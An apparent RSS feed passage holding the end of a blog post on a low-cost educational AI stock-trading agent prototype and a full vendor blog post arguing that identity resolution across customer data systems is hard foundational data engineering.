Prompts:</strong></p><p>The agent’s instructions are just 30 lines of plain text, not 80+ lines of verbose explanations.</p><p><strong>No Memory Bloat:</strong></p><p>Each trading cycle is independent. The agent doesn’t carry forward massive conversation history.</p><p><strong>Real-World Performance</strong></p><p>Let me show you actual numbers from testing:</p><p><strong>Speed</strong></p><pre>Total Cycle Time: 5-9 seconds<br>Breakdown:<br>- Data Fetch (5 stocks): 2–3s<br>- Analysis &amp; Decisions: 2–4s<br>- Order Execution: &lt;1s</pre><p>Compare this to the multi-agent version: 12–20 seconds per cycle.</p><p><strong>### Cost</strong></p><pre>Per Trading Cycle:<br>- Tokens Used: ~30,000<br>- Cost (Groq): $0.018<br>- Cost (Cerebras): $0.018<br>- Cost (OpenAI): $0.008<br>Daily (75 cycles):<br>- Groq: $1.35<br>- Cerebras: $1.35<br>- OpenAI: $0.60<br>Monthly:<br>- Groq: ~$40<br>- Cerebras: ~$40<br>- OpenAI: ~$18</pre><p><strong>Accuracy</strong></p><p>The agent requires 3+ indicators to align before trading. In testing:</p><p>- Win Rate: ~55–60% (varies by market conditions)</p><p>- Risk-Adjusted: All trades limited to Rs.10,000</p><p>- Max Loss: Rs.10,000 per day (enforced by code)</p><p><strong>Important: </strong>These are prototype testing results, not live trading performance. Past performance doesn’t guarantee future results.</p><p><strong>What You Should Know</strong></p><p><strong>This is an Educational Prototype</strong></p><p>Let me be very clear about what this is and isn’t:</p><p><strong>What it IS:</strong></p><p>- A learning tool to understand agentic AI</p><p>- A demonstration of token-efficient architecture</p><p>- A way to experiment with AI trading concepts</p><p>- Open source code you can study and modify</p><p><strong>What it is NOT:</strong></p><p>- A guarantee to make money</p><p>- A production-ready trading system</p><p>- Financial advice</p><p>- A get-rich-quick scheme</p><p><strong>Important Safety Points</strong></p><p><strong>1. Paper Trade First:</strong></p><p>Test with fake money before real money. OpenAlgo supports paper trading mode.</p><p><strong>2. Start Small:</strong></p><p>If you do test with real money, start with the minimum amount you can afford to lose completely.</p><p><strong>3. Understand the Risks:</strong></p><p>- Markets are unpredictable</p><p>- Technical indicators can give false signals</p><p>- AI can make mistakes</p><p>- Past performance ≠ future results</p><p>- You can lose all your capital</p><p><strong>4. Legal Compliance:</strong></p><p>Check if algorithmic trading is legal in your jurisdiction. In India, it’s allowed for retail traders, but always verify.</p><p><strong>5. Monitor It:</strong></p><p>Never leave an automated trading system running unattended for long periods. Check it regularly.</p><p><strong>Learning Path: Where to Go From Here</strong></p><p>If you want to build on this prototype, here’s a learning path:</p><p><strong>Beginner Level</strong></p><p>- Run the prototype in paper trading mode</p><p>- Understand how each function works</p><p>- Try changing the technical indicators</p><p>- Experiment with different risk limits</p><p>- Test with different AI models (switch between Groq, OpenAI, Cerebras)</p><p><strong>Intermediate Level</strong></p><p>- Add more stocks to analyze</p><p>- Implement new technical indicators (VWAP, Fibonacci, etc.)</p><p>- Build a dashboard to visualize trades</p><p>- Add backtesting (test strategies on historical data)</p><p>- Implement position sizing strategies (Kelly Criterion, etc.)</p><p><strong>Advanced Level</strong></p><p>- Add sentiment analysis (news, Twitter, Reddit)</p><p>- Implement machine learning for pattern recognition</p><p>- Build multi-timeframe analysis (5min, 15min, 1hour charts)</p><p>- Add options trading capabilities</p><p>- Implement portfolio management across multiple stocks</p><p><strong>The Bigger Picture: Why Agentic AI Matters</strong></p><p>Building this trading agent taught me lessons that apply far beyond trading:</p><p><strong>1. Simplicity Wins:</strong></p><p>A well-designed single agent beats a complex multi-agent system. This applies to business processes, software architecture, and life.</p><p><strong>2. Token Efficiency = Cost Efficiency:</strong></p><p>Every API call costs money. In AI systems, efficiency isn’t just about speed — it’s about economics.</p><p><strong>3. Model Agnostic = Future Proof:</strong></p><p>Technology changes fast. Building systems that can swap components (like AI models) keeps you flexible.</p><p><strong>4. Autonomous Doesn’t Mean Unsupervised:</strong></p><p>The agent is autonomous, but it needs rules, constraints, and monitoring. True AI safety comes from good design, not just hoping the AI does the right thing.</p><p><strong>5. Real-World AI is Messy:</strong></p><p>Building this taught me about API rate limits, network timeouts, broker API quirks, and a hundred other practical issues you don’t face with toy examples.</p><p><strong>Resources &amp; Next Steps</strong></p><p>If you want to build this yourself or learn more:</p><p><strong>GitHub Repository:</strong></p><p><a href="https://github.com/marketcalls/Agentic-Trader">https://github.com/marketcalls/Agentic-Trader</a></p><p><strong>Prerequisites:**</strong></p><p>- Basic Python knowledge</p><p>- Understanding of REST APIs</p><p>- Stock market basics (what’s a BUY/SELL order?)</p><p>- Basic terminal/command line skills</p><p><strong>Documentation:</strong></p><p>- OpenAI Agents SDK: <a href="https://openai.github.io/openai-agents-python/">https://openai.github.io/openai-agents-python/</a></p><p>- LiteLLM: <a href="https://docs.litellm.ai/">https://docs.litellm.ai/</a></p><p>- OpenAlgo: <a href="https://openalgo.in/">https://openalgo.in/</a></p><p>- TA-Lib: <a href="https://ta-lib.org/">https://ta-lib.org/</a></p><p><strong>Community:</strong></p><p>Join discussions about agentic AI and algo trading in <a href="https://www.openalgo.in/discord">Discord community</a>. Share your learnings, ask questions, and help others.</p><p><strong>Final Thoughts</strong></p><p>Building an agentic trader is an incredible learning experience. You’ll learn about:</p><p>- AI agent architecture</p><p>- Real-time data processing</p><p>- Risk management</p><p>- API integration</p><p>- System design</p><p>- Financial markets</p><p>But remember: this is about learning, not about making quick money. The real value is in understanding how these systems work, so you can build other agentic systems (customer service bots, research assistants, automation tools) with the same principles.</p><p>The future is agentic. AI won’t just answer questions — it will take actions, make decisions, and accomplish goals autonomously. Understanding how to build, constrain, and optimize these systems is a valuable skill, whether you’re building trading agents, business automation, or the next AI startup.</p><p>Start simple, learn deeply, and build responsibly.</p><p>Happy building!</p><p><strong>About This Article:</strong></p><p>This article describes an open-source educational prototype. All code is available under MIT License. The author and contributors are not responsible for any financial losses. Trading involves substantial risk. Always test in paper trading mode first.</p><p><strong>Want to Contribute?</strong></p><p>The project is open source. Submit issues, pull requests, or feedback on GitHub.</p><p><strong>Connect:</strong></p><p>If you build something cool with this or have questions, share your journey. The best way to learn is by teaching others.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bb74b10438b4" width="1" height="1" alt="">]]></content:encoded>
            <author>Rajandran R</author>
            <category>open-source</category>
            <category>openai-agents-sdk</category>
            <category>ai-trading</category>
            <category>agentic-ai</category>
            <category>openalgo</category>
        </item>
        <item>
            <title><![CDATA[The Identity Crisis: Why “Getting the Basics Right” Is the Hardest Work in Data]]></title>
            <link>https://www.learningfromdata.zingg.ai/p/the-identity-crisis-why-getting-the</link>
            <guid isPermaLink="false">https://www.learningfromdata.zingg.ai/p/the-identity-crisis-why-getting-the</guid>
            <pubDate>Thu, 23 Oct 2025 14:56:40 GMT</pubDate>
            <description><![CDATA[And it is actually world-class data engineering!]]></description>
            <content:encoded><![CDATA[<div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!BhOG!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F50cd106c-5e59-447e-b079-dd5e032d0193_1024x608.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!BhOG!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F50cd106c-5e59-447e-b079-dd5e032d0193_1024x608.png 424w, https://substackcdn.com/image/fetch/$s_!BhOG!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F50cd106c-5e59-447e-b079-dd5e032d0193_1024x608.png 848w, https://substackcdn.com/image/fetch/$s_!BhOG!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F50cd106c-5e59-447e-b079-dd5e032d0193_1024x608.png 1272w, https://substackcdn.com/image/fetch/$s_!BhOG!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F50cd106c-5e59-447e-b079-dd5e032d0193_1024x608.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!BhOG!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F50cd106c-5e59-447e-b079-dd5e032d0193_1024x608.png" width="1024" height="608" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/50cd106c-5e59-447e-b079-dd5e032d0193_1024x608.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:&quot;normal&quot;,&quot;height&quot;:608,&quot;width&quot;:1024,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!BhOG!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F50cd106c-5e59-447e-b079-dd5e032d0193_1024x608.png 424w, https://substackcdn.com/image/fetch/$s_!BhOG!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F50cd106c-5e59-447e-b079-dd5e032d0193_1024x608.png 848w, https://substackcdn.com/image/fetch/$s_!BhOG!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F50cd106c-5e59-447e-b079-dd5e032d0193_1024x608.png 1272w, https://substackcdn.com/image/fetch/$s_!BhOG!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F50cd106c-5e59-447e-b079-dd5e032d0193_1024x608.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">laying the foundation </figcaption></figure></div><p></p><p>Matthew Niederberger, Founder of Martech Therapy recently <a href="https://martech.org/why-chasing-shiny-cdp-features-leaves-marketers-feeling-like-imposters/">wrote</a> something that stopped me in my tracks:</p><blockquote><p>&#8220;If you&#8217;re a practitioner still trying to get a unified customer ID working across channels, you feel left behind technologically and question your competence.&#8221;</p></blockquote><p>This single sentence captures a crisis that&#8217;s quietly plaguing data engineering teams across the industry. While vendor booths showcase AI-driven personalization and predictive customer journeys, talented practitioners are privately wrestling with something supposedly &#8220;simpler&#8221;: building a unified customer ID that actually works.</p><p>The cruel irony? They&#8217;re doing the hardest, most important work. But in a market obsessed with bleeding-edge features, nobody&#8217;s celebrating it.</p><h2>The Vendor Narrative Gap</h2><p>So why do talented teams feel like they&#8217;re failing when they&#8217;re still working on identity?</p><p>Matthew Niederberger nails the dynamic: vendors showcase what&#8217;s possible, not what&#8217;s required to get there.</p><p>Vendor conference presentations follow a formula:</p><ol><li><p>Demonstrate the amazing outcomes (real-time personalization! predictive journeys!)</p></li><li><p>Show the sleek UI that makes it look effortless</p></li><li><p>Mention &#8220;unified customer data&#8221; as an assumed prerequisite</p></li><li><p>Move quickly past the foundation to focus on the flashy features</p></li></ol><p>The implicit message: if you&#8217;re still working on unified identity, you&#8217;re behind. Everyone else has already solved this.</p><p>But that&#8217;s not remotely true. The vast majority of organizations are still struggling with identity resolution. They&#8217;re just not talking about it publicly because it feels like admitting failure.</p><p>The result is a massive selection bias. We hear about the 5% who&#8217;ve moved on to advanced use cases. We don&#8217;t hear about the 95% still building foundations&#8212;not because they&#8217;re incompetent, but because <strong>the foundations are genuinely difficult to build well.</strong></p><h2>The Imposter Syndrome Epidemic</h2><p>I&#8217;ve had countless conversations with data teams at conferences, in Slack channels, and on video calls. A pattern emerges again and again:</p><p>&#8220;We&#8217;re still working on identity resolution.&#8221;<br>&#8220;We haven&#8217;t gotten to the AI stuff yet.&#8221;<br>&#8220;We&#8217;re just trying to get our customer IDs right first.&#8221;</p><p>The word &#8220;just&#8221; does a lot of heavy lifting in those sentences. It diminishes foundational engineering work into a checkbox, a prerequisite you should have already mastered before moving on to the &#8220;real&#8221; work.</p><p>But here&#8217;s what nobody is saying loudly enough: <strong>unified identity isn&#8217;t a prerequisite. It&#8217;s the final boss of data engineering.</strong></p><h2>Why Unified Identity Is Actually Hard</h2><p>Let&#8217;s be brutally honest about what &#8220;getting a unified customer ID working across channels&#8221; actually requires:</p><h3>The Data Quality Reality</h3><p>Real-world customer data is messy in ways that mock deterministic rules:</p><ul><li><p>Sarah Johnson gets married and becomes Sarah Martinez</p></li><li><p>john.smith@gmail.com and jsmith@gmail.com might be the same person (or different people with similar names)</p></li><li><p>Phone numbers get recycled&#8212;last year&#8217;s customer is this year&#8217;s prospect</p></li><li><p>Addresses have hundreds of valid formatting variations</p></li><li><p>People move, change jobs, update preferences</p></li><li><p>Data entry errors create systematic inconsistencies</p></li></ul><p>A unified customer ID system has to handle all of this, at scale, while maintaining high accuracy. Miss too many matches and your &#8220;360-degree customer view&#8221; is fragmented. Create false positives and you&#8217;re merging different people, violating privacy and destroying trust.</p><h3>The Technical Challenge</h3><p>You&#8217;re not matching records in a single clean database. You&#8217;re resolving identities across:</p><ul><li><p>Web analytics (cookie-based, increasingly unreliable)</p></li><li><p>Mobile apps (device IDs, app-specific identifiers)</p></li><li><p>CRM systems (email, phone, account IDs)</p></li><li><p>Point-of-sale systems (loyalty cards, payment methods)</p></li><li><p>Call center interactions (phone numbers, case IDs)</p></li><li><p>Marketing platforms (each with their own identifier schemes)</p></li><li><p>Third-party data sources (with their own quality issues)</p></li></ul><p>Each source has different identifier types, different data quality standards, and different update frequencies. You&#8217;re not just joining tables&#8212;you&#8217;re probabilistically determining which records across fundamentally different systems represent the same human being.</p><h3>The Scale Problem</h3><p>Now multiply this across millions or billions of records. The naive approach&#8212;comparing every record to every other record&#8212;is computationally impossible. You need sophisticated blocking strategies, efficient algorithms, and infrastructure that can process massive datasets without collapsing under its own weight.</p><p>And you need to do this continuously, not as a one-time batch job. New data arrives constantly. Identities evolve. Your resolution system has to keep pace.</p><h3>The Governance Complexity</h3><p>Layer on consent management, privacy regulations, data retention policies, and the right-to-be-forgotten requirements. Your unified ID system isn&#8217;t just a technical challenge&#8212;it&#8217;s a governance framework that has to work across jurisdictions, respect customer preferences, and provide audit trails.</p><p><strong>This isn&#8217;t &#8220;basic.&#8221; This is some of the most complex data engineering work you can do.</strong></p><h2>The Three-Layer Approach That Actually Works</h2><p>So how do you actually build identity resolution that works at warehouse scale? Let me break down the architecture that successful implementations share:</p><h3>Layer 1: Blocking</h3><p>You can&#8217;t compare every record to every other record&#8212;that&#8217;s O(n&#178;) complexity and computationally impossible at billion-record scale. Smart blocking reduces potential comparisons by 99%+ while maintaining high recall.</p><p>The key is choosing blocking keys that cast a wide enough net to catch true matches while being selective enough to make comparison tractable. This might mean blocking on:</p><ul><li><p>First three characters of last name + ZIP code</p></li><li><p>Phone area code + first name</p></li><li><p>Email domain + approximate birth date</p></li><li><p>Phonetic encoding of names</p></li></ul><p>Good blocking strategies use multiple passes with different keys, ensuring that records with typos or variations still get compared. At Zingg, we learn blocking directly on all the fields present in the data from the user data and labels to block different datasets efficiently. </p><h3>Layer 2: Matching</h3><p>This is where ML earns its keep. For each pair of records that passed blocking, you need to score the likelihood they represent the same entity.</p><p>Modern matching models use features like:</p><ul><li><p>String similarity (edit distance, Jaro-Winkler, token-based matching)</p></li><li><p>Phonetic similarity (Soundex, Metaphone, NYSIIS)</p></li><li><p>Behavioral patterns (purchase timing, channel preferences, engagement signals)</p></li><li><p>Temporal proximity (how close in time were interactions?)</p></li><li><p>Geographic consistency (do locations make sense together?)</p></li></ul><p>The output isn&#8217;t binary&#8212;it&#8217;s probabilistic scoring. This pair has a 0.95 probability of being a match. That pair scores 0.45. This gives you flexibility in tuning precision vs. recall based on your use case.</p><h3>Layer 3: Clustering</h3><p>The final challenge: transform pairwise match scores into entity groups. This is where you resolve transitive relationships.</p><p>If Record A matches Record B with 0.92 confidence, and Record B matches Record C with 0.88 confidence, are A, B, and C all the same entity? What if A and C compared directly would only score 0.65?</p><p>Clustering algorithms handle these transitivity questions, creating stable entity groups even as new records arrive and scores shift over time. This layer also handles entity splits (when you discover you incorrectly merged two people) and entity merges (when new evidence shows records you thought were separate are actually one entity).</p><h2>Why This Must Happen In the Warehouse And Datalake</h2><p>Here&#8217;s a critical architectural decision: entity resolution must run natively in your data warehouse or data lake. Moving billions of records out for processing defeats the entire purpose of warehouse-native architecture.</p><h3>Data Gravity</h3><p>Your customer data is already in Snowflake, Databricks, BigQuery, or Redshift. That&#8217;s where your transformation pipelines run, where your analytics queries execute, where your data science models train. Extracting data to a separate entity resolution system creates:</p><ul><li><p>Data movement costs (bandwidth, storage, processing)</p></li><li><p>Synchronization complexity (keeping multiple copies current)</p></li><li><p>Latency (time to move data before resolution can happen)</p></li><li><p>New data silos (exactly what warehouse consolidation was supposed to eliminate)</p></li></ul><h3>Incremental Processing</h3><p>Entity resolution isn&#8217;t a one-time batch job. New customer records arrive constantly&#8212;from web signups, mobile registrations, purchase transactions, support interactions. You need incremental processing that resolves new records against existing entities without full dataset re-processing.</p><p>This only works efficiently when resolution runs where the data lives, using the warehouse&#8217;s native capabilities for incremental updates and change data capture.</p><h3>Integration with Data Pipelines</h3><p>Your entity resolution system needs to integrate seamlessly with:</p><ul><li><p>dbt transformations and data modeling</p></li><li><p>Reverse ETL for audience activation</p></li><li><p>BI tools for reporting and analytics</p></li><li><p>ML platforms for model training</p></li><li><p>Data quality frameworks for monitoring</p></li><li><p>AI agents for context</p></li></ul><p>This integration is natural when everything operates in the same environment. It becomes painful when entity resolution is a separate system with its own APIs, data formats, and operational requirements.</p><h3>Governance and Security</h3><p>Your data warehouse already has:</p><ul><li><p>Access controls and role-based permissions</p></li><li><p>Audit logging for compliance</p></li><li><p>Encryption at rest and in transit</p></li><li><p>Data masking and tokenization capabilities</p></li><li><p>Retention policies and deletion workflows</p></li></ul><p>Replicating customer data to an external entity resolution system means duplicating all of this governance infrastructure. It becomes a privacy and compliance nightmare with GDPR, CCPA and other applicable laws. Run resolution in the warehouse, and you inherit these controls automatically. </p><h2>The Human-in-the-Loop Problem</h2><p>Here&#8217;s what the automation-obsessed narrative misses: pure ML automation for entity resolution rarely works in practice.</p><h3>Why Full Automation Fails</h3><p>Even the best ML models make mistakes on edge cases:</p><ul><li><p>Common names with similar addresses (are these two John Smiths in the same apartment building one person or two?)</p></li><li><p>Shared email addresses (family members, assistants, corporate accounts)</p></li><li><p>Identity changes (marriages, name corrections, gender transitions)</p></li><li><p>Data entry errors that create systematic patterns the model learns incorrectly</p></li><li><p>Inadequate data capture</p></li></ul><p>You need human judgment on ambiguous cases, and you need to feed that judgment back into the model to improve over time.</p><h3>Workflows That Actually Work</h3><p>Successful implementations build workflows for:</p><p><strong>Training data labeling</strong>: Which record pairs are matches, which are non-matches? Your initial model needs labeled examples, and getting these labels right determines everything downstream.</p><p><strong>Threshold tuning</strong>: ML models output probability scores, but you choose the threshold. Score above 0.90 is an automatic match, below 0.40 is automatic non-match, but what about the 0.65 that could go either way? Human review helps calibrate these thresholds based on business impact.</p><p><strong>Edge case review</strong>: The model flags cases it&#8217;s least confident about. A data steward reviews them, makes decisions, and those decisions become training examples for model tuning.</p><p><strong>Continuous model refinement</strong>: Data patterns evolve. New data sources get added. Data quality issues emerge and get fixed. The model needs periodic retraining, and human feedback on recent predictions drives that retraining.</p><p><strong>Dispute resolution</strong>: When downstream teams question why records were merged or split, you need workflows to investigate, explain the decision, and potentially override the model when it&#8217;s wrong.</p><p>The best systems don&#8217;t eliminate human review&#8212;they make it efficient. Instead of manually reviewing millions of records, you review the hundreds that matter most.</p><h2>Common Implementation Mistakes</h2><p>I&#8217;ve seen these patterns repeatedly as organizations tackle identity resolution:</p><h3>Mistake 1: Starting Too Big</h3><p>Teams try to resolve all entity types simultaneously&#8212;customers, accounts, products, locations, employees. This creates enormous scope, makes success criteria fuzzy, and delays time to value.</p><p><strong>Better approach</strong>: Start with one high-value entity type (usually customers). Prove the value, build organizational capability, then expand to other entity types. Each new entity type gets easier because you&#8217;ve learned the patterns.</p><h3>Mistake 2: Ignoring Data Quality</h3><p>Entity resolution surfaces every data quality issue you&#8217;ve been ignoring. If 40% of your email addresses are null or invalid, you can&#8217;t rely on email matching. If name fields contain inconsistent formatting, parsing errors, or non-name data, string matching becomes unreliable.</p><p><strong>Better approach</strong>: Treat entity resolution and data quality as inseparable workstreams. Profile your data first. Fix systematic quality issues before expecting resolution to work well. Use entity resolution results to identify and prioritize remaining quality problems.</p><h3>Mistake 3: Treating It as a Project</h3><p>Organizations approach entity resolution as a one-time project: scope it, build it, deploy it, move on. Then they&#8217;re shocked when accuracy degrades over time as data patterns shift.</p><p><strong>Better approach</strong>: Treat entity resolution as infrastructure that requires ongoing ownership, monitoring, and refinement&#8212;just like your data pipelines or ML models. Assign clear ownership, establish SLAs, build monitoring dashboards, schedule regular review.</p><h3>Mistake 4: Optimizing for Perfection</h3><p>Teams spend months trying to achieve 99.9% accuracy before releasing anything. Meanwhile, downstream teams make decisions based on no identity resolution at all (effectively 0% accuracy).</p><p><strong>Better approach</strong>: Ship at 95% accuracy, deliver value, iterate to higher accuracy based on real-world feedback. You learn more from production usage in two weeks than from six months of pre-release testing. Start good, iterate to great.</p><h3>Mistake 5: Building From Scratch</h3><p>Organizations underestimate the complexity and decide to build custom entity resolution systems. Eighteen months later, they have something that works on small datasets but can&#8217;t scale, has accuracy issues they don&#8217;t understand, and requires specialized knowledge that only one person has.</p><p><strong>Better approach</strong>: Use proven solutions&#8212;whether open source frameworks or commercial platforms&#8212;that solve the hard algorithmic and scaling problems. Invest your engineering effort in customization, integration, and business-specific logic, not reinventing core entity resolution algorithms.</p><h2>The Real Question</h2><p>At this point in conversations, someone usually asks: &#8220;Should we do ML-based entity resolution?&#8221;</p><p>That&#8217;s the wrong question.</p><p>The real question is: <strong>&#8220;Can our organization afford to build composable architectures on a foundation of deterministic rules that we know will fail at scale?&#8221;</strong></p><p>Every organization moving to warehouse-native architectures will eventually face the identity resolution challenge. The only question is whether you address it proactively&#8212;as part of your architectural planning&#8212;or reactively, after your first major data quality incident.</p><p>The reactive path looks like this:</p><ul><li><p>Build your composable architecture on simple deduplication rules</p></li><li><p>Activate audiences and launch campaigns</p></li><li><p>Discover that 15% of your &#8220;unified&#8221; customers are actually duplicates</p></li><li><p>Or worse, discover you&#8217;ve merged different people and violated privacy</p></li><li><p>Scramble to retrofit proper identity resolution</p></li><li><p>Rebuild audiences and downstream dependencies</p></li><li><p>Deal with the business impact and loss of trust</p></li></ul><p>The proactive path looks like this:</p><ul><li><p>Recognize identity resolution as foundational, not an afterthought</p></li><li><p>Build or adopt ML-based entity resolution that runs in your warehouse</p></li><li><p>Start with one entity type, prove value, iterate</p></li><li><p>Build downstream capabilities on accurate identity from day one</p></li><li><p>Scale confidently knowing your foundation is solid</p></li></ul><p>The reactive path is more common (because people underestimate the challenge). The proactive path is more successful (because foundations matter).</p><h2>What Actually Endures</h2><p>Here&#8217;s the uncomfortable truth about chasing bleeding-edge features without solid foundations:</p><p><strong>A CDP that can&#8217;t accurately unify customer IDs is just an expensive data warehouse with a marketing UI.</strong></p><p>You can bolt on AI-driven orchestration, predictive segmentation, and real-time decisioning. But if your underlying identity graph is wrong&#8212;if you think one customer is three people, or three people are one customer&#8212;every downstream capability inherits those errors.</p><p>Your AI doesn&#8217;t fix bad identity data. It amplifies it. Your personalization engine delivers fragmented experiences. Your predictive models train on fictional customer journeys. Your real-time decisioning makes decisions based on incomplete context.</p><p>The organizations actually positioned to leverage advanced CDP capabilities aren&#8217;t the ones with the longest feature lists. <strong>They&#8217;re the ones who took the time to build reliable identity resolution first.</strong></p><h2>The Real Achievement</h2><p>Let me share two examples of organizations that built this foundation right.</p><p><strong>Fortnum &amp; Mason</strong>, the 300-year-old luxury British retailer, faced a classic challenge: customer data fragmented across restaurant bookings, email signups, online transactions, and in-store purchases. They initially tried a third-party service for identity resolution, but it created non-persistent identifiers, offered limited visibility into the matching process, and raised privacy concerns about sharing their entire dataset externally.</p><p>Jon Moss, Fortnum&#8217;s Customer Engagement Director, describes the transformation: </p><blockquote><p>&#8220;For the first time, we&#8217;re able to understand how customers are shopping with us&#8212;online, in-store, over the phone, or in restaurants. Zingg has helped us unify this data and gain insights we never had before.&#8221;</p></blockquote><p>By implementing ML-based entity resolution running natively in their data warehouse, Fortnum &amp; Mason built:</p><ul><li><p>Persistent, unified customer identifiers across all touchpoints</p></li><li><p>Complete visibility and control over the matching process</p></li><li><p>Privacy-compliant resolution that keeps sensitive data in their own infrastructure</p></li><li><p>A foundation for their composable CDP architecture</p></li></ul><p><strong>Orthodox Union</strong>, one of the largest Orthodox Jewish organizations in the US, operates over 40 websites, 5 mobile applications, and custom CRMs for different departments. Shelomo Dobkin, their Director of Product Development, explains: </p><blockquote><p>&#8220;We moved from using Zingg Open Source to the Enterprise version on Snowflake, making it the engine powering our golden records. Zingg&#8217;s powerful features and clean results have really set us apart.&#8221;</p></blockquote><p>Their implementation required understanding not just individual identities but household relationships&#8212;a critical requirement for their community-focused mission. They built entity resolution that could:</p><ul><li><p>Match people across multiple websites and CRM systems</p></li><li><p>Understand household connections and family relationships</p></li><li><p>Create golden records that serve as the foundation for all downstream systems</p></li><li><p>Process data incrementally as new interactions occur across their digital properties</p></li></ul><p>What makes these achievements remarkable isn&#8217;t just the technical implementation. It&#8217;s what they enable. This is <strong>world-class data engineering </strong>that delivers measurable business value:</p><ul><li><p>Marketing teams can trust their audiences</p></li><li><p>Analytics teams can build on reliable customer journeys</p></li><li><p>Data science teams can train models on accurate historical data</p></li><li><p>Operations teams can deliver consistent experiences across channels</p></li><li><p>Legal and compliance teams can demonstrate proper governance</p></li></ul><p>Everything else&#8212;<strong>the AI features, the real-time orchestration, the predictive models&#8212;becomes possible because the foundation is solid</strong>.</p><h2>Celebrating Foundational Work</h2><p>The industry needs to reframe how we talk about identity resolution and other foundational data work.</p><p><strong>These aren&#8217;t prerequisites that should be quick and easy. They&#8217;re achievements that deserve recognition.</strong></p><p>When a team successfully builds unified customer IDs across disparate systems, that&#8217;s a case study worth sharing. When an organization finally has audiences their teams trust, that&#8217;s an accomplishment worth celebrating. When identity resolution maintains accuracy as data scales from millions to billions of records, that&#8217;s engineering excellence.</p><p><strong>The castle that survives wave after wave isn&#8217;t the tallest or flashiest. It&#8217;s the one with foundations deep enough to withstand the tide.</strong></p><h2>Moving Forward</h2><p>If you&#8217;re a data practitioner still working on unified customer identity, you&#8217;re not behind. <strong>You&#8217;re doing the work that matters most</strong>.</p><p>Don&#8217;t let vendor demos and curated LinkedIn posts make you feel like an imposter. The bleeding-edge use cases get all the attention precisely because they&#8217;re rare. <strong>The foundational work gets less visibility precisely because it&#8217;s what everyone is actually struggling with.</strong></p><p>Focus on making your identity infrastructure trustworthy and durable:</p><ul><li><p>Invest in ML-based entity resolution that can handle real-world data messiness</p></li><li><p>Build in your data warehouse and datalake so you&#8217;re not creating new data silos</p></li><li><p>Design for continuous operation, not one-time batch processing</p></li><li><p>Create human-in-the-loop workflows for edge cases and model refinement</p></li><li><p>Treat it as infrastructure that requires ongoing ownership and monitoring</p></li></ul><p>The teams that master this foundation aren&#8217;t behind. They&#8217;re building something that will outlast the next wave of features, the next vendor pivot, the next technological hype cycle.</p><p>That&#8217;s not just the basics. That&#8217;s the real work. And it&#8217;s work worth doing right.</p><div><hr></div><p><em>What&#8217;s your experience building unified customer identity? Where did you hit the biggest obstacles? I&#8217;d love to hear your stories&#8212;the successes and the struggles.</em></p>]]></content:encoded>
            <author>Sonal Goyal</author>
